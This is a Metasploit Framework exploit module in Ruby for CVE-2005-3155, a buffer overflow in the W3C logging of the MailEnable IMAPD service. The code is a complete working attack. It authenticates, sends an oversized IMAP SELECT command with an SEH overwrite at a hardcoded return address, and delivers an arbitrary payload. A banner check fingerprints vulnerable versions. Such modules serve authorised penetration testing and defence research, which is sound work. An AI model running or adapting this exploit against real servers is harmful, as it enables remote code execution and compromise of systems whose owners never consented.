1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
## # $Id: mailenable_w3c_select.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Imap include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow', 'Description'=> %q{ This module exploits a buffer overflow in the W3C logging functionality of the MailEnable IMAPD service. Logging is not enabled by default and this exploit requires a valid username and password to exploit the flaw. MailEnable Professional version 1.6 and prior and MailEnable Enterprise version 1.1 and prior are affected. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9525 $', 'References' => [ [ 'CVE', '2005-3155'], [ 'OSVDB', '19842'], [ 'BID', '15006'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 600, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ ['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL ], 'DisclosureDate' => 'Oct 03 2005', 'DefaultTarget' => 0)) end def check connect disconnect if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login buf = rand_text_alphanumeric(6196, payload_badchars) seh = generate_seh_payload(target.ret) req = 'a01 SELECT ' + buf + seh + "\r\n" sock.put(req) handler disconnect end end |